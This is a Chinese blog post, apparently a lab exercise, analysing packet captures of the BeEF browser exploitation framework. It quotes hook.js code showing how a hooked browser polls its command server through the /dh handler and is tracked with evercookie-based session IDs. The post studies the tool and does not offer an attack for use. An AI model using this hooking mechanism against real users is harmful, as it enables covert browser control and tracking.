博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
beef抓包简析
阅读量:4326 次
发布时间:2019-06-06

本文共 2522 字,大约阅读时间需要 8 分钟。

搭建完了beef就想简答的抓下包分析下

 这是第一个包,追踪它

返回demo页面,并发现其中的脚本

window.location.protocol表示协议http, window.location.host代表主机加端口号,红线的意思是调用http://主机:3000/hook.js

继续跟踪数据流,发现浏览器get请求了hook.js

继续跟踪数据流

返回hook.js

内容挺多的。。。看不懂

接着跟踪数据包,发现请求了提交了参数

到hook.js 里搜索dh,找到他的功能

/*! * @literal object: beef.net * * Provides basic networking functions,                                         提供基础的网络功能 * like beef.net.request and beef.net.forgeRequest,                             像beef.net.request和beef.net.forgetRequest * used by BeEF command modules and the Requester extension,                    被beef命令模块和扩展请求使用 * as well as beef.net.send which is used to return commands                    返回命令 * to BeEF server-side components.                                              beef的服务器端组件 * * Also, it contains the core methods used by the XHR-polling                    * mechanism (flush, queue) */beef.net = {    host: "192.168.170.132",    port: "3000",    hook: "/hook.js",    httpproto: "http",    handler: '/dh',    chop: 500,    pad: 30, //this is the amount of padding for extra params such as pc, pid and sid    sid_count: 0,    cmd_queue: [],

继续跟踪,

在hook.js 里搜索BEEFHOOK

/*! * @literal object: beef.session                                           * * Provides basic session functions.                   提供基础的session功能 */beef.session = {        hook_session_id_length: 80,    hook_session_id_chars: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789",        ec: new evercookie(),    beefhook: "BEEFHOOK",        /**     * Gets a string which will be used to identify the hooked browser session     *      * @example: var hook_session_id = beef.session.get_hook_session_id();     */      get_hook_session_id: function() {        // check if the browser is already known to the framework        var id = this.ec.evercookie_cookie(beef.session.beefhook);        if (typeof id == 'undefined') {            var id = this.ec.evercookie_userdata(beef.session.beefhook);        }        if (typeof id == 'undefined') {            var id = this.ec.evercookie_window(beef.session.beefhook);        }                // if the browser is not known create a hook session id and set it        if ((typeof id == 'undefined') || (id == null)) {            id = this.gen_hook_session_id();            this.set_hook_session_id(id);        }                // return the hooked browser session identifier        return id;    },

之后的包就是在不断请求重复后两个

随便玩一个功能

 

效果:

 查看数据包

在某次请求hook.js后发生变化

相应的包

可以看到我填写的攻击参数

 

转载于:https://www.cnblogs.com/hongren/p/7654832.html

你可能感兴趣的文章
121. Best Time to Buy and Sell Stock
查看>>
hdu 1005 根据递推公式构造矩阵 ( 矩阵快速幂)
查看>>
安装php扩展
查看>>
百度移动搜索主要有如下几类结果构成
查看>>
Python爬虫面试题170道:2019版【1】
查看>>
JavaBean规范
查看>>
第四阶段 15_Linux tomcat安装与配置
查看>>
NAS 创建大文件
查看>>
学习笔记-模块之xml文件处理
查看>>
接口测试用例
查看>>
面试:用 Java 实现一个 Singleton 模式
查看>>
Sybase IQ导出文件的几种方式
查看>>
案例:手动输入一个字符串,打散放进一个列表,小写字母反序 大写字母保持不变...
查看>>
PCRE demo【转】
查看>>
矩阵的SVD分解
查看>>
性能优化之数据库优化
查看>>
linux 系统下 tar 的压缩与解压缩命令
查看>>
阿里负载均衡,配置中间证书问题(在starcom申请免费DV ssl)
查看>>
转:How to force a wordbreaker to be used in Sharepoint Search
查看>>
MySQL存储过程定时任务
查看>>